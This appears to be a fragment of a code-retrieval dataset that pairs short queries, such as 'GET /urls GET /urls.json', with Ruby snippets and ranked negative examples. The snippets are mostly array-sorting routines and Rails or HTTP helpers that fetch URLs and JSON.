"def sort_array_desc(array)\n desc_array = array.sort {|a, b| b <=> a}\n desc_array\nend",
"def array_ranked_descending(array)\n\t\treturn array.sort{|x,y| y <=> x} \n\tend",
"def sort_array_desc(array)\n array.sort do |x,y|\n if x == y\n 0\n elsif x < y\n 1\n elsif x > y\n -1\n end\n end\nend",
"def sort_array_desc(array)\n\tarray.sort do |a, b|\n\t\tb <=> a\n\tend\nend",
"def sort_array_desc(arr)\n arr.sort{|a,b| b<=>a}\nend",
"def sort_array_desc(a)\n a.sort {|b, c|c<=>b}\nend",
"def sort_array_desc(array)\n array.sort {|a,b| b <=> a}\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(arry)\n arry.sort do |num1, num2|\n num2 <=> num1\n end\nend",
"def sort_array_desc(array)\n return array.sort{ |a, b| b <=> a }\nend",
"def sort_array_desc(array)\n array.sort do |a,b|\n b <=> a\n end\nend",
"def sort_array_desc(array)\n array.sort do |a,b|\n b <=> a\n end\nend",
"def sort_array_desc(array)\n array.sort do | left, right|\n right <=> left\n end\nend",
"def sort_array_desc(array)\n array.sort do |a, b|\n b<=>a\n end\nend",
"def sort_array_desc(array)\n array.sort do |a, b|\n if a == b\n 0\n elsif a > b\n -1\n elsif a < b\n 1\n end\n end\nend",
"def sort_array_desc(array)\n array.sort do |a,b|\n if a == b\n 0\n elsif a > b\n -1\n elsif a < b\n 1\n end\n end\nend",
"def sort1(array)\n\nend",
"def sort_array_desc (integers)\n integers.sort.reverse\nend",
"def SecondGreatLow(arr)\n\n arr.size > 2 ? puts(\"#{arr.sort.uniq[1]} #{arr.sort.uniq[-2]}\") : puts(\"#{arr[1]} #{arr[0]}\")\nend",
"def bubble_sort(array=@base)\n array.each_index do |index1|\n index1.upto(array.size-2) do |index2|\n if array[index1] > array[index2+1]\n array[index1], array[index2+1] = array[index2+1], array[index1]\n end\n end\n end\n array\n end",
"def sort_array_desc(integers)\n integers.sort.reverse\nend",
"def sort_array_desc(integers)\n integers.sort.reverse\nend",
"def orderly(array)\n p array.sort\nend",
"def bar arr\n arr.sort!\nend",
"def sort(arr)\n for j in 0...arr.size\n for i in 0...arr.size\n break if i > (arr.size - 2)\n arr[i], arr[i+1] = arr[i+1], arr[i] if (arr[i].size > arr[i+1].size)\n end\n end\n arr\nend",
"def sort_problem (arr1, arr2)\n\n i1 = arr1.length - 1\n i2 = arr2.length - 1\n i2_non0 = arr1.length - 1\n\n while i1 >= 0 && i2 >= 0 do \n if arr1[i1] > arr2[i2_non0]\n arr2[i2] = arr1[i1]\n i2 -=1\n i1 -= 1\n else \n arr2[i2] = arr2[i2_non0]\n i2_non0 -= 1\n i2 -= 1\n end\n end\n\n return arr2\n \nend",
"def men_from_boys(arr)\n men = []\n boys = []\n\n arr.each do |num|\n num % 2 == 0 ? men << num : boys << num\n end\n\n # need to return array, men first asc then boys desc\n men.sort.concat(boys.sort.reverse).uniq\nend",
"def sort_array(array)\n n = array.size\n return array if n < 2\n (0..n - 2).each do |i|\n (i + 1..n - 1).each do |j|\n next if array[i].even? || array[j].even?\n interchange(array, i, j) if array[i] > array[j]\n end\n end\n array\nend",
"def rearrange(arr)\n arr_len = arr.length\n\n (1..arr_len-1).each do |index|\n # if index is even\n if (index % 2).zero?\n if arr[index] > arr[index - 1]\n arr[index - 1], arr[index] = arr[index], arr[index - 1]\n end\n else # if index is odd\n if (arr[index] < arr[index - 1])\n arr[index - 1], arr[index] = arr[index] , arr[index - 1]\n end\n end\n end\n\n arr\nend",
"def get_sorted_array\n @ary.sort\n end",
"def sort_array_desc (array)\n array.sort_by do |sort|\n -sort\n end\nend",
"def rearrange(array, less, array_length, highest_value)\n sorted = []\n for i in (0..(array_length - 1))\n key = array[i]\n index = less[key]\n sorted[index] = array[i]\n less[key] += 1\n end\n return sorted\nend",
"def bubble_sort_by_concept_two(array)\n no_swaps = false # initiate flag to indicate when there are no more swaps being done\n\n until no_swaps\n no_swaps = true\n (0..array.length - 2).each do |i|\n # check if these two elements are out of order\n compare_result = yield array[i], array[i + 1]\n\n next unless compare_result.positive?\n\n # do a swap\n store = array[i]\n array[i] = array[i + 1]\n array[i + 1] = store\n no_swaps = false\n end\n end\n\n array\nend",
"def array_sort(arr)\nx = arr.length\nif x == 1\nelsif x == 2\n if arr[0] > arr[1]\n arr[0], arr[1] = arr[1], arr[0]\n end\nelse\n loop do\n modified = FALSE\n (x-2).times do |x|\n if (arr[x] < arr[x + 1]) && (arr[x] < arr[x + 2])\n if arr[x + 2] < arr[x + 1]\n arr[x], arr[x + 1], arr[x + 2] = arr[x], arr [x + 2], arr[x + 1]\n modified = TRUE\n end\n elsif (arr[x + 1] < arr[x]) && (arr[x + 1] < arr[x + 2])\n if arr[x] < arr[x + 2]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 1], arr[x], arr[x + 2]\n modified = TRUE\n elsif arr[x + 2] < arr[x]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 1], arr [x + 2], arr[x]\n modified = TRUE\n elsif arr[x + 2] == arr[x]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 1], arr[x], arr[x + 2]\n modified = TRUE\n end\n elsif (arr[x + 2] < arr[x]) && (arr[x + 2] < arr[x + 1])\n if arr[x] < arr[x + 1]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 2], arr[x], arr[x + 1]\n modified = TRUE\n elsif arr[x + 1] < arr[x]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 2], arr[x + 1], arr[x]\n modified = TRUE\n elsif arr[x] == arr[x + 1]\n arr[x], arr[x + 1], arr[x + 2] = arr[x + 2], arr[x], arr[x + 1]\n modified = TRUE\n end\n end\n end\n break if modified == FALSE\n end\nend\n arr\nend",
"def take_array(array)\r\n array.sort\r\nend",
"def sluggish_octopus!(array)\n sorted = false\n until sorted\n sorted = true\n array.each_index do |index|\n index_2 = index + 1\n next if index_2 == array.length\n if array[index].length > array[index_2].length\n array[index],array[index_2] = array[index_2],array[index]\n sorted = false\n end\n end\n end\n array[-1]\nend",
"def bubbly(arr)\n loop do\n switch = false\n (arr.length - 1).times do |i|\n \tif arr[i] > arr[i + 1]\n arr[i + 1],arr[i] = arr[i],arr[i + 1]\n switch = true\n end\n end\n if switch == false\n break\n end\n end\n arr\nend",
"def bubble_sort_by array\n\ti=0\n\tarray.length.times do\n\t\twhile i<array.length-1\t\t\n\t\t\tarray[i],array[i+1]=array[i+1],array[i] if yield(array[i],array[i+1])>0\n\t\t\ti+=1\n\t\tend\n\t\ti=0\n\tend\n\tarray\nend",
"def swap_elements(array)\n array.sort do |a,b|\n a[1] <=> b[2]\n end \nend",
"def my_min_2(array)\n array.sort!\n array.first\nend",
"def gnome_sort(array)\n count = 0\n\n while count < array.length - 1\n if array[count] > array[count + 1]\n array[count + 1], array[count] = array[count], array[count + 1]\n count -= 2 if count.positive?\n end\n count += 1\n end\n\n array\nend",
"def dominant_octopus(arr)\n sorted = merge_sort(arr)\n arr[-1] \nend",
"def sort2(num_array)\n n = num_array.length - 1\n for i in 0..n\n for j in 0..(n-i-1)\n if num_array[j] >= num_array[j+1]\n num_array[j], num_array[j+1] = num_array[j+1], num_array[j]\n end\n end\n end\n return num_array\nend",
"def merge_sort(arr) # rubocop:disable Metrics/AbcSize\n if arr.size < 2 || (arr.size == 2 && arr[0] < arr[1])\n arr\n elsif arr.size == 2\n [arr[1], arr[0]]\n else\n mid = arr.size / 2\n first = arr.slice(0, mid)\n second = arr.slice(mid, arr.size)\n merge(merge_sort(first), merge_sort(second))\n end\n end",
"def bozosort!(arr)\n while not arr.sort == arr\n a, b = rand(arr.length), rand(arr.length)\n arr[a], arr[b] = arr[b], arr[a]\n end\n return arr\nend",
"def sort_array_by_parrity(nums)\n even_misplaced = 0\n odd_misplaced = 1\n arr_len = nums.length\n\n while even_misplaced < nums.length && odd_misplaced < nums.length\n if nums[even_misplaced].even?\n even_misplaced += 2\n elsif nums[odd_misplaced].odd?\n odd_misplaced += 2\n else\n nums[even_misplaced] , nums[odd_misplaced] = nums[odd_misplaced], nums[even_misplaced]\n even_misplaced += 2\n odd_misplaced += 2\n end\n end\n\n nums\nend",
"def bubble_sort_by_concept_one(array)\n n = array.length\n\n while n.positive?\n\n j = 0\n\n (1..n - 1).each do |k|\n compare_result = yield array[j], array[k]\n\n # if array[j] > array[k], swap these two values\n if compare_result.positive?\n store = array[j]\n array[j] = array[k]\n array[k] = store\n end\n j += 1\n end\n n -= 1; # last element is now sorted\n end\n\n array\nend",
"def sort_array_desc(any_array)\n any_array.sort { |a, b| b <=> a}\n end",
"def bubble_sort (array)\n for loops in (0...array.length - 1)\n for index in (0...array.length - loops - 1)\n array[index], array[index+1] = array[index+1], array[index] if (array[index] > array[index+1]) # switch place if the second value is greater\n end\n end\n array.inspect\nend",
"def sort_array_desc(collection)\n i = 0\n result = []\n while i < collection.length\n result = collection.sort { |a, b| b <=> a }\n i += 1\n end\nreturn result.flatten\nend",
"def two_sort(arr)\n arr.sort![0].split(\"\").join(\"***\")\nend",
"def sort arr \n\trec_sort arr, []\nend",
"def bubble_sort_by(arr)\n\tloop do\n\t\tswitched = false\n\t\t(arr.count-1).times do |i|\n\t\t\tif yield(arr[i],arr[i+1])<0\n\t\t\t\tarr[i],arr[i+1]=arr[i+1], arr[i]\n\t\t\tend\n\t\tend\n\t\tbreak if not switched\n\tend\n\tarr\nend",
"def sort arr\r\n\trec_sort arr, []\r\nend",
"def manipulating_arrays(array)\n puts array.reverse\n puts array.sort\n return array.sort.reverse\nend",
"def my_sort(arr)\n\n i = 0\n while i < arr.length\n j = i + 1\n while j < arr.length\n if arr[i] > arr[j]\n arr[i], arr[j] = arr[j], arr[i] # HERE!!!!\n end\n\n j += 1\n end\n\n i += 1\n end\n\n return arr\nend",
"def my_array_sorting_method(array)\n\t@array=array\n\t@array.sort\n\treturn @array\nend",
"def sortarray (sort_me)\n counter = sort_me.length\n a = 0\n b = 1\n while a < (counter-1)\n b = a+1\n while b < (counter)\n if sort_me[a] > sort_me[b]\n temp = sort_me[a]\n sort_me[a] = sort_me[b]\n sort_me[b] = temp\n end\n b += 1\n end\n a += 1\n end\n return sort_me\nend",
"def SecondGreatLow(arr)\n second_low = \"\"\n second_high = \"\"\n \n arr = arr.uniq\t\n if arr.length > 2 \n arr = arr.sort!\n second_low = arr[1]\n second_high = arr[-2]\n \n elsif arr.length == 2 \n arr.sort\n second_low = arr[1]\n second_high = arr[0]\n end\n return [second_low, second_high].join(\" \")\n \nend",
"def bubble_sort_by(arr)\n\tsorted = false\n\tuntil sorted do\n\t\tsorted = true\n\t\t0.upto(arr.size - 2) do |n|\n\t\t\tif yield(arr[n], arr[n + 1]) < 0\n\t\t\t\ttemp = arr[n]\n\t\t\t\tarr[n] = arr[n + 1]\n\t\t\t\tarr[n + 1] = temp\n\t\t\t\tsorted = false\n\t\t\tend\n\t\tend\n\tend\n\n\treturn arr\n\nend",
"def bubble_sort(arr)\n\tbubble_sort_by(arr) { |a,b| b-a }\nend",
"def SecondGreatLow(arr)\n sorted = arr.sort\n\n if arr.length == 2\n \"#{sorted[1]} #{sorted[0]}\"\n else\n sorted.uniq!\n \"#{sorted[1]} #{sorted[-2]}\"\n end\nend",
"def bubble_sort(&prc)\n arr = self.dup\n sorted = false\n\n while !sorted\n sorted = true\n\n (0...self.length - 1).each do |idx1|\n num1, num2 = arr[idx1], arr[idx1 + 1]\n\n if prc.call(num1, num2) == 1\n arr[idx1], arr[idx1 + 1] = num2, num1\n sorted = false\n end\n end\n end\n \n arr\n end",
"def mothrah_sort (an_array)\n\tdef move_to_end (value, array)\n\t\tarray.delete(value)\n\t\tarray.push(value)\n\tend\n\tpos = 0\n\twhile pos < an_array.length \n\t\tif an_array[pos] > an_array[pos + 1]\n\t\t\tmove_to_end(an_array[pos], an_array)\n\t\telse\n\t\t\tpos += 1\n\t\tend\n\tend\n\tan_array\nend",
"def merge_sort(array1, array2)\n # write your code here\n complete_array = array1 + array2\n return complete_array if complete_array.length < 2\n \n switch = true \n while switch do\n switch = false\n (0...complete_array.length - 1).each do |i|\n if complete_array[i] > complete_array[i + 1]\n complete_array[i], complete_array[i + 1] = complete_array[i + 1], complete_array[i]\n switch = true\n end\n end\n end\n complete_array\nend",
"def sort_rever(array)\n p array.sort.reverse\nend",
"def sort_array_desc(integers)\n integers.sort {|a, b| b <=> a}\nend",
"def sort_array(source_array)\n odd=[]\n nArr=[]\n for x in source_array do\n if x != 0 && x % 2 != 0\n odd.push(x)\n end\n end\n odd.sort!\n i=0\n for x in source_array do\n if x != 0 && x %2 != 0\n nArr.push(odd[i])\n i += 1\n else\n nArr.push(x)\n end\n end\n p nArr\nend",
"def bigSorting(unsorted)\n\nend",
"def dub_sort(arr)\nend",
"def using_sort(array)\narray.sort\nend",
"def using_sort(array)\narray.sort\nend",
"def using_sort(array)\n sorted_array=array.sort\nend",
"def wiggle_sort(nums)\n nums = nums.sort!\n\n greater_num_idx = nums.length / 2\n lesser_num_idx = 1\n\n until lesser_num_idx >= greater_num_idx\n nums[lesser_num_idx], nums[greater_num_idx] = nums[greater_num_idx], nums[lesser_num_idx]\n lesser_num_idx += 2\n greater_num_idx += 1\n end\n nums\nend",
"def bubble_sort(arr)\n sorted = false\n while !sorted\n sorted = true\n (0...arr.length-1).each do |idx| \n (idx+1...arr.length).each do |idx2|\n if arr[idx2] < arr[idx]\n sorted = false\n arr[idx],arr[idx2] = arr[idx2],arr[idx]\n end\n end\n end\n end\n arr.first\nend",
"def pre_sort(arr) \n i =0\n while i < arr.length \n j = i + 1\n while j < arr.length\n if arr[i] > arr[j]\n arr[i] , arr[j] = arr[j], arr[i] \n end\n j += 1 \n end\n i += 1\n end\n arr\nend",
"def dominant(arr)\n merge_sort(arr)[-1]\nend",
"def e5115_sublinear_sort(values)\n end",
"def bubble_sort_major(array)\n n = array.length\n swapped = true\n while swapped do\n swapped = false\n (n - 1).times do |i|\n # here, the string at each index are compared to the next, and they are swapped if the current is greater than the next\n if (array[i][:major1] <=> array[i + 1][:major1]) > 0\n array[i], array[i + 1] = array[i + 1], array[i]\n swapped = true\n end\n end\n end\n array \n end",
"def sort2(array, max_value)\n counts = [0] * max_value\n array.each do |el|\n counts[el - 1] += 1\n end\n sorted = []\n counts.each_with_index do |count, el|\n sorted += ([el + 1] * count)\n end\n sorted\nend",
"def bubble_sort_by(arry)\n\t\tn = arry.length\n\n\t\tuntil n == 0\n\t\t\tnew_n = 0\n\t\t\tfor i in 1..(n-1)\n\t\t\t\tif yield(arry[i-1], arry[i])\n\t\t\t\t\tarry[i-1], arry[i] = arry[i], arry[i-1]\n\t\t\t\t\tnew_n = i\n\t\t\t\tend\n\t\t\tend\n\t\t\tn = new_n\n\t\tend\n\t\treturn arry\n\tend",
"def merge_sort array\n size = array.size\n if size < 2\n array\n else\n merge_array = array.each_slice((size/2.0).round).to_a\n array_a = merge_sort(merge_array[0])\n array_b = merge_sort(merge_array[1])\n new_array = []\n a = 0\n b = 0\n while new_array.size != size\n if array_a.nil? || array_a[a].nil?\n return new_array += array_b[b..-1]\n elsif array_b.nil? || array_b[b].nil?\n return new_array += array_a[a..-1]\n elsif array_a[a] < array_b[b]\n new_array << array_a[a]\n a += 1\n else\n new_array << array_b[b]\n b += 1\n end\n end\n end\nend",
"def sort_array(source_array)\n odd_array = source_array.select{|number| number.odd?}.sort \n source_array.map{ |number| number.even? ? number : odd_array.shift }\n\nend",
"def sort1(array)\n (1..arr.length).to_a\nend",
"def bubble_sort!(array)\n loop do\n tally = 0\n first = 0\n second = 1\n until second == array.size\n if (array[first] <=> array[second]) == 1\n array[first], array[second] = array[second], array[first]\n tally += 1\n end\n first += 1\n second += 1\n end\n\n break if tally == 0\n end\nend",
"def sort arr\n rec_sort arr, []\nend",
"def sort arr\r\n\treturn arr if arr.length <= 1\r\n\r\n\tmiddle = arr.pop\r\n\tless = arr.select{|x| x < middle}\r\n\tmore = arr.select{|x| x >= middle}\r\n\r\n\tsort(less) + [middle] + sort(more)\r\nend",
"def grand_sorting_machine(array)\n\n\n\nend",
"def merge(arr1, arr2)\n sorted_array = []\n first_pointer = 0\n second_pointer = 0\n while(first_pointer < arr1.size && second_pointer < arr2.size)\n if(arr2[second_pointer] >= arr1[first_pointer])\n sorted_array.push(arr1[first_pointer])\n first_pointer += 1\n else \n sorted_array.push(arr2[second_pointer])\n second_pointer += 1\n end\n end\n while(first_pointer < arr1.size)\n sorted_array.push(arr1[first_pointer])\n first_pointer += 1\n end\n while(second_pointer < arr2.size)\n sorted_array.push(arr2[second_pointer])\n second_pointer += 1\n end\n \n return sorted_array\nend",
"def bubble_sort_by ary\n (ary.length-2).downto(0) do |k|\n swapped = false\n for i in 0..k\n if (yield ary[i], ary[i+1]) > 0\n ary[i], ary[i+1] = ary[i+1], ary[i]\n swapped = true\n end\n end\n break if !swapped\n end\n ary\nend",
"def bubble_sort_by(array)\n arr = array.length - 1\n loop do\n swap = false\n (0...arr).each do |i|\n n_one = array[i]\n n_two = array[i + 1]\n if yield(n_one, n_two).positive?\n array[i], array[i + 1] = array[i + 1], array[i]\n swap = true\n end\n end\n break if swap == false\n end\n array\nend"
] | [
"0.7559666",
"0.7184702",
"0.70549345",
"0.7013775",
"0.69970465",
"0.6966031",
"0.69424576",
"0.6924849",
"0.69045836",
"0.6900568",
"0.6889592",
"0.6863037",
"0.68422234",
"0.6816883",
"0.6816883",
"0.6816883",
"0.6816883",
"0.6816883",
"0.6811878",
"0.68076956",
"0.6806719",
"0.6806719",
"0.6802024",
"0.67994756",
"0.67770714",
"0.6750254",
"0.6744344",
"0.6741622",
"0.6735087",
"0.6706398",
"0.6702122",
"0.670191",
"0.6695045",
"0.66948396",
"0.6636459",
"0.6628795",
"0.662313",
"0.6606972",
"0.6601692",
"0.6601032",
"0.65822357",
"0.65752417",
"0.655675",
"0.6554587",
"0.65470207",
"0.6541025",
"0.65299505",
"0.6529438",
"0.6496972",
"0.6493812",
"0.6477638",
"0.64724475",
"0.6471217",
"0.646891",
"0.64546007",
"0.6450638",
"0.6444123",
"0.6439623",
"0.64361984",
"0.64300853",
"0.6425122",
"0.6420733",
"0.63950205",
"0.63839096",
"0.6377521",
"0.6374067",
"0.6370612",
"0.63702786",
"0.63701266",
"0.6369935",
"0.63687503",
"0.6363089",
"0.6359785",
"0.63587135",
"0.63581294",
"0.6351205",
"0.63492155",
"0.6344598",
"0.6342731",
"0.63400817",
"0.6334229",
"0.6334229",
"0.6324425",
"0.63163936",
"0.63131356",
"0.6302947",
"0.6299873",
"0.62975353",
"0.6297083",
"0.62912834",
"0.62830245",
"0.6274801",
"0.626902",
"0.6266861",
"0.62592876",
"0.62583196",
"0.62573105",
"0.6257182",
"0.62552637",
"0.625452",
"0.6253864"
] | 0.0 | -1 |
GET /urls GET /urls.json | def index
@urls = Url.all.order("pageviews DESC").limit(100)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @urls = Url.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @urls }\n end\n end",
"def index\n @urls = @site.urls.paginate(:page => params[:page])\n render json: @urls\n end",
"def url_list\n urls = current_user.mini_urls\n if urls.count > 0\n render json: {urls: urls}, status: 200\n else\n raise Exceptions::EmptyObjectError.new('No URL found.')\n end\n rescue Exceptions::EmptyObjectError => e\n render json: {error: e}, status: 404\n end",
"def index\n @urls = ShortenedUrl.order(\"updated_at ASC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @urls }\n end\n end",
"def get_urls( search_url )\n urls = []\n result_json = parse_json( search_url )\n result_json['items'].each do |item|\n urls << item['url']\n end\n\n return urls\nend",
"def all\n render json: Url.all\n end",
"def index\n @urls = Url.get_top(25)\n # render json: @urls\n end",
"def get(url); end",
"def fetch_json_from_url(url_of_search)\n Net::HTTP.get(URI.parse(url_of_search))\n end",
"def show\n render json: @url\n end",
"def show\n\t\trender json: @url, status: 200\n\tend",
"def rest_get(url)\n JSON.parse(RestClient.get(url))\n end",
"def json_get(url)\n get url, :parse=>true\n end",
"def index\n @urls = Url.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @urls}\n format.json { render json: @urls }\n end\n end",
"def links\n response = Clever.request :get, url\n response[:links]\n end",
"def show\n @url = Url.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @url }\n end\n end",
"def get_tags_by_url\n url = Url.find_by(id: params[:id])\n tags = url.tags\n render json: {code: 200, tags: tags}\n end",
"def index\n render json: {\n status: :success,\n urls: ShortUrl::top_100\n }\n end",
"def urls\n @urls ||= extract_urls('url')\n end",
"def getUrl(url)\n puts url if @options[\"show-url\"]\n RestClient.get(url)\n end",
"def index\n render json: @links\n end",
"def index\n @crawl_requests = CrawlRequest.includes(:urls)\n\n render json: @crawl_requests, :include => :urls\n end",
"def index\n @content_urls = ContentUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_urls }\n end\n end",
"def index\n @urls = Url.all\n end",
"def index\n @urls = Url.all\n end",
"def index\n @url_connectors = UrlConnector.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @url_connectors }\n end\n end",
"def get_json( url )\n JSON.parse( get_url( url ){ |f| f.read } )\nend",
"def getJson(url)\n\t\tencoded_url = URI.encode(\"https://cryptic-mountain-56365.herokuapp.com/api/v1\"+url)\n\t\turi = URI.parse(encoded_url)\n\t\tjson = Net::HTTP.get(uri)\n\tend",
"def show\n\t\t@url = UrlGenerator.find_by(encoded_url:params[:id])\n\t\tif @url.nil?\n\t\t\trender json:{error:\"not found\"}\n\t\telse\n\t\t\trender json:{orginal_url:@url.url}\n\t\tend\n\tend",
"def paths\n\t\tresponse = self.server.run_with_json_template( :paths )\n\t\treturn response.each_with_object({}) do |entry, hash|\n\t\t\thash[ entry[:name].to_sym ] = URI( entry[:url] )\n\t\tend\n\tend",
"def json_at(url)\n JSON.parse(open(url).read, symbolize_names: true)[:objects]\nend",
"def readJSONFromUrl(url)\n # use GET request to retrieve the json\n uri = URI(url)\n response = Net::HTTP.get(uri)\n json = JSON.parse(response)\n return json\nend",
"def showJSON\n\n\t\trender json: UrlDataModel.find(params[:id])\n\n\tend",
"def api_fetch(url)\n JSON.parse(RestClient.get url)\nend",
"def get_json_url(url) \n useragent = \"NotubeMiniCrawler/0.1\"\n u = URI.parse url\n\n req = Net::HTTP::Get.new(u.request_uri,{'User-Agent' => useragent})\n\n begin\n\n res = Net::HTTP.new(u.host, u.port).start {|http|http.request(req) }\n\n end\n j = nil\n begin\n j = JSON.parse(res.body)\n rescue OpenURI::HTTPError=>e\n case e.to_s\n when /^404/\n raise 'Not Found'\n when /^304/\n raise 'No Info'\n end\n end\n return j\n end",
"def get_json(url, args = {})\n response = adapter.get(url, args) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.headers['Accept'] = 'application/json'\n end\n body = response.body\n JSON.parse(body)\n end",
"def index\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { @url_shorts = UrlShort.all }\n end\n end",
"def index\n links = all_links\n render json: { success: true, links: links }\n end",
"def handle_links(json) end",
"def get_json(url)\n r = RestClient.get url, request_options\n JSON.parse(r)\n end",
"def get_inf(url)\n\turi = URI.parse(url)\n\tresponse = Net::HTTP.get_response(uri)\n\tJSON.parse(response.body)\nend",
"def get_vacancies( urls )\n vacancies = []\n urls.each do |url|\n vacancies << parse_json( url )\n end\n\n return vacancies\nend",
"def get(url)\n call(url: url)\n end",
"def urls\n keys\n end",
"def url_hash(url)\n response_string = RestClient.get(url)\n JSON.parse(response_string)\nend",
"def get(url, headers = {})\n http :get, \"#{url}.json\", headers\n end",
"def getJson(url)\r\n request_uri = url\r\n request_query = ''\r\n url = \"#{request_uri}#{request_query}\"\r\n result = getJsonFromUrl(url)\r\n return result\r\nend",
"def realtime\n render :json=>WebUrl.all.map(&:url).to_json\n end",
"def show\n @crawl_request = CrawlRequest.includes(:urls).find(params[:id])\n\n render json: @crawl_request, :include => :urls\n end",
"def get_json(url)\n JSON.parse(get(url, :json, :json))\n end",
"def index\n @urls = Url.all\n\n \n\n end",
"def api_fetch(url)\n JSON.parse(URI.open(url).read)\nend",
"def list\n get('/')\n end",
"def url\n response[\"url\"]\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def get(urls)\n if urls.nil? or urls.empty? then\n return {}\n end\n\n urls = [urls] if not urls.kind_of? Array\n urls.each_with_index do |url, i|\n @reqs[i] = url.to_s\n end\n\n results = perform()\n\n ret = []\n (0..results.size-1).each do |i|\n ret << results[i]\n end\n\n return ret\n end",
"def get url, params={}, headers={}\n uri = URI.parse(url)\n path = uri.path + \"?\" + query_string(default_params.merge(params))\n response = http(uri.host, uri.port).get(path, default_headers.merge(headers))\n JSON.parse(response.body)\n end",
"def top_urls\n if valid_params?(top_urls_params)\n render json: PageView.top_urls(top_urls_params),\n each_serializer: PageView::TopUrlsSerializer\n else\n render json: { message: invalid_params_message }\n end\n end",
"def index\n @url = Url.all\n end",
"def get_json(url)\n @response = RestClient.get url\n while @response.nil? do\n if @response.code == 200\n @response = RestClient.get url\n end\n end\n @json_file = JSON.parse(@response)\n end",
"def json_url\n \"#{REDDIT_URL_PREFIX}#{permalink}.json\"\n end",
"def index\n if user_signed_in?\n @urls = current_user.urls\n else\n @urls = Url.all\n end\n end",
"def urls\n each_url.to_set\n end",
"def get(url)\n faraday = Faraday.new(url) do |faraday|\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n\n response = faraday.get do |request|\n request.url(url)\n end\n response.body\nend",
"def urls\n @@urls\n end",
"def call\n fail(WordpRSS::InvalidURLError.new(\"#{url} is not a valid URL\")) unless url =~ URI::regexp\n\n RestClient.get(url)\n end",
"def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"def get(url)\n request(:get, url, {}, nil)\n end",
"def get_json(url, options = {}) # rubocop:disable Metrics/MethodLength, Metrics/AbcSize\n conn = Faraday.new(url: url) do |faraday|\n faraday.request :url_encoded\n faraday.use FaradayMiddleware::FollowRedirects\n if defined?(Rails) # && Rails.env.development?\n faraday.response :logger, Rails.logger\n else\n faraday.response :logger\n end\n\n faraday.adapter :net_http\n end\n\n begin\n r = conn.get do |req|\n req.headers['Accept'] = 'application/json'\n req.params.merge! options\n end\n\n raise \"Failed to read from #{url}: #{r.status.inspect}\" unless (200..207).cover?(r.status)\n JSON.parse(r.body)\n end\n end",
"def index\n @page = Page.find(params[:page_id])\n @urls = Url.where(page_id: params[:page_id])\n end",
"def url\n data['url']\n end",
"def urls\n info.map(&:value).select { |u| u.match %r{\\Ahttps?://} }\n end",
"def get(url)\n self.class.get(url)\n end",
"def json(url)\n Rails.logger.info \"Retrieving json for url: #{url}\"\n r = response(url).body\n JSON.parse(r)\n end",
"def get(url, args = {})\r\n make_request(:get, url, args)\r\n end",
"def list\n @urls = Url.all\n @admin = ADMIN\n end",
"def look_up(url)\n all = RestClient.get(url)\n hash = JSON.parse(all)\nend",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"def index\n @urls = current_user.urls\n end",
"def get_url(url)\n myurl = URI.parse(url)\n req = Net::HTTP::Get.new(url)\n res = Net::HTTP.start(myurl.host, myurl.port) { |http|\n http.request(req)\n }\n \n res.body # return\n end",
"def index\n @known_urls = KnownUrl.all\n end",
"def apartments_urls(url)\n JSON(Net::HTTP.get(URI(url)))['apartments'].map { |value| value['url'] }\n #Net::HTTP.get(URI(url)).scan(/https\\:\\\\\\/\\\\\\/r\\S{10,}.s\\\\\\/\\d{4,7}/).map { |val| val.gsub(\"\\\\\", \"\") }\n end",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def index\n @articles = Article.all.sort_by(&:url)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end",
"def show\n @url_connector = UrlConnector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @url_connector }\n end\n end",
"def get(url)\n begin\n # Start by creating a new `RestCLient::Resource` authenticated with\n # the `@project` name and `@password`.\n resource = RestClient::Resource.new(url) \n # `GET` the resource\n resource.get {|response, request, result, &block|\n case response.code\n when 200\n JSON.parse(response.body)\n else\n response.return!(request, result, &block)\n end\n }\n rescue => e\n # Rescue and reraise with the current `@url` for debugging purposes \n raise \"Problem fetching #{@url} because #{e.message}\"\n end\n end",
"def get\n JSON.parse(self.class.get(url).response.body)\n end",
"def find_by_url\n @postings = SlashdotPosting.includes(:urls).where(urls: { target_url: params[:url] })\n render json: @postings\n end",
